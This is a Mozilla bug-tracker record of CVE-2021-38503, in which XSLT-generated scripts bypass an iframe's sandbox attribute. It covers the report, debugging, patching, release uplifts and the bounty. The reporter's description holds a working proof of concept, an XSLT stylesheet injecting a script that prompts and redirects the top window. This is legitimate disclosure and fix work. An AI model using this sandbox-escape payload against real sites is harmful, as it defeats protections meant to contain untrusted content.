1729517 - (CVE-2021-38503) Script via XSLT stylesheet bypasses <iframe sandbox> attribute restrictions

Status: RESOLVED FIXED

(Core :: XSLT, defect)

Description

[Armin Ebert [:arminius]]

Attachment: iframe-sandbox-xsl-demo-selfcontained.html

The security restrictions applied via an <iframe>'s sandbox attribute can be bypassed by injecting scripts through XSLT stylesheets.

Description

A blank sandbox attribute adds several restrictions to the content of an <iframe>, such as blocking script execution and top-level navigation. However, those restrictions are not applied correctly to an XML content document which is transformed by an XSLT stylesheet. If a sheet's transformation directives create a new XHTML <script> tag, the sandbox rules don't take effect. That is, the script code executes normally and it may create pop-ups or issue top-level redirects (top.location = ...).

Proof of concept

The proof-of-concept embeds an XML document via <iframe sandbox src="...">. The XML doc then references an XSLT stylesheet via <?xml-stylesheet type="text/xsl" href="..."> which applies an <xsl:template> containing a <script> with the payload to execute.

Attached is a self-contained PoC. It uses data:-URIs for convenience, but the resources may as well be in different files (and on different hosts), e.g.:

parent.html:

<iframe sandbox src='child.xml'></iframe>

child.xml:

<?xml-stylesheet type="text/xsl" href="sheet.xsl"?>
<root/>

sheet.xsl: (must send permissive Access-Control-Allow-Origin to load!)

<stylesheet version="1.0" xmlns="http://www.w3.org/1999/XSL/Transform">
    <template match="/">
        <script xmlns="http://www.w3.org/1999/xhtml">
            prompt(location.href);
            top.location = `http://example.com/`;
        </script>
    </template>
</stylesheet>

NB: To be clear, the bug only defeats the sandbox attribute, but not the default SOP boundary between cross-origin frames.

Comment 1

[Daniel Veditz [:dveditz]]

I'm going to leave this under XSLT for now on the theory that it's the one creating the document and should have carried over some inherited security state, but I'm sure the DOM sandbox folks are interested also.

Comment 2

[Frederik Braun [:freddy]]

OK, confirmed this is bad.
@Arminius: Thanks for the great test case! We'll get back to you regarding bounty and such. We usually wait until we have properly figured out how to resolve this and landed a patch. On the upside, this means you can help re-testing and contribute to a solution (in case you are interested).

Comment 3

[Frederik Braun [:freddy]]

Attachment: content security checks.txt

Taking a quick look, these are the load flags for the three loads of

• top-level load of the test case (in this case, stored in file:///tmp/xslt.html)
• iframe load of the data: URL which bears the XML document
• XSLT/style load that causes script execution

However, this logging does not give us the granularity of document sandbox flags, so I went into gdb/rr.

It seems that we check sandbox flags in the function Document::HasScriptsBlockedBySandbox(). Breaking in there, reveals that the function returns already false for the iframe load of the XML document?
The function does return mSandboxFlags & SANDBOXED_SCRIPTS, which evalutes to 0 here.

How and where do we set these documents up? Can we inspect and copy the value mSandboxFlags when doing so?

Comment 4

[Peter Van der Beken [:peterv]]

Attachment: Bug 1729517 - Set up document correctly. r?ckerschb!

Comment 5

[Peter Van der Beken [:peterv]]

Attachment: Bug 1729517 - Set up document correctly - test. r?ckerschb!

Depends on D127981

Comment 6

[Peter Van der Beken [:peterv]]

Comment on attachment 9245022 [details]
Bug 1729517 - Set up document correctly. r?ckerschb!

Security Approval Request

• How easily could an exploit be constructed based on the patch?: The fix is fairly obvious, so I don't think it would be very hard to figure out how to exploit this. The tests are in a separate patch, which we could land separately.
• Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Yes
• Which older supported branches are affected by this flaw?: All
• If not all supported branches, which bug introduced the flaw?: None
• Do you have backports for the affected branches?: No
• If not, how different, hard to create, and risky will they be?: The patch probably just applies mostly as-is to older branches.
• How likely is this patch to cause regressions; how much testing does it need?: Regressions seem unlikely, we just added restrictions that we already have in regular documents to documents that are a result of an XSLT transformation.

Comment 7

[Tom Ritter [:tjr]]

Christoph - Do you think you can file a sec-want bug to improve this code pattern (like you mentioned in the review comment) with some details and/or a suggestion?

Comment 8

[Tom Ritter [:tjr]]

Comment on attachment 9245022 [details]
Bug 1729517 - Set up document correctly. r?ckerschb!

Approved to land and request uplift

Comment 9

[Tom Ritter [:tjr]]

Comment on attachment 9245023 [details]
Bug 1729517 - Set up document correctly - test. r?ckerschb!

Let's land the test after Dec 9th

Comment 10

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Set up document correctly. r=freddyb,ckerschb
https://hg.mozilla.org/integration/autoland/rev/4ad1dc8472b8efe768042e50c5cf5a3b6e20f94f
https://hg.mozilla.org/mozilla-central/rev/4ad1dc8472b8

Comment 11

[Ryan VanderMeulen [:RyanVM]]

Please nominate this for Beta & ESR91 approval.

Comment 12

[Peter Van der Beken [:peterv]]

Comment on attachment 9245022 [details]
Bug 1729517 - Set up document correctly. r?ckerschb!

ESR Uplift Approval Request

• If this is not a sec:{high,crit} bug, please state case for ESR consideration:
• User impact if declined: Security issue: allows to circumvent sandbox on an iframe.
• Fix Landed on Version: 95
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): Regressions seem unlikely, we just added restrictions that we already have in regular documents to documents that are a result of an XSLT transformation.
• String or UUID changes made by this patch: None

Beta/Release Uplift Approval Request

• User impact if declined: Security issue: allows to circumvent sandbox on an iframe.
• Is this code covered by automated tests?: Yes
• Has the fix been verified in Nightly?: Yes
• Needs manual test from QE?: No
• If yes, steps to reproduce:
• List of other uplifts needed: None
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): Regressions seem unlikely, we just added restrictions that we already have in regular documents to documents that are a result of an XSLT transformation.
• String changes made/needed: None

Comment 13

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9245022 [details]
Bug 1729517 - Set up document correctly. r?ckerschb!

Approved for 94.0b8 and 91.3esr.

Comment 14

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-beta/rev/c1bb633ee930

Comment 15

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-esr91/rev/e4ea49cad3af

Comment 16

[BugBot [:suhaib / :marco/ :calixte]]

As part of a security bug pattern analysis, we are requesting your help with a high level analysis of this bug. It is our hope to develop static analysis (or potentially runtime/dynamic analysis) in the future to identify classes of bugs.

Please visit this google form to reply.

Comment 17

[Tom Ritter [:tjr]]

Attachment: advisory.txt

Comment 18

[Daniel Veditz [:dveditz]]

note: this is sec-high for the website that relies on this mechanism, and the data of Firefox users on it. It's not a sec-high hack of Firefox itself. Since the sandbox mechanism is a second line of defense for a site's own sanitizing you could argue it should really be sec-moderate

Comment 19

[Armin Ebert [:arminius]]

That's plausible, thanks for awarding the bounty!

Comment 20

[Christoph Kerschbaumer [:ckerschb]]

(In reply to Tom Ritter [:tjr] (ni? for response to CVE/sec-approval/advisories/etc) from comment #7)

Christoph - Do you think you can file a sec-want bug to improve this code pattern (like you mentioned in the review comment) with some details and/or a suggestion?

Yes of course. I just filed Bug 1739442 with keyword sec-want.

Comment 21

[Tom Ritter [:tjr]]

Comment on attachment 9245023 [details]
Bug 1729517 - Set up document correctly - test. r?ckerschb!

Okay to land now

Comment 22

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Set up document correctly - test. r=ckerschb
https://hg.mozilla.org/integration/autoland/rev/37730138762b7d04677f37270e86346484bcd9aa
https://hg.mozilla.org/mozilla-central/rev/37730138762b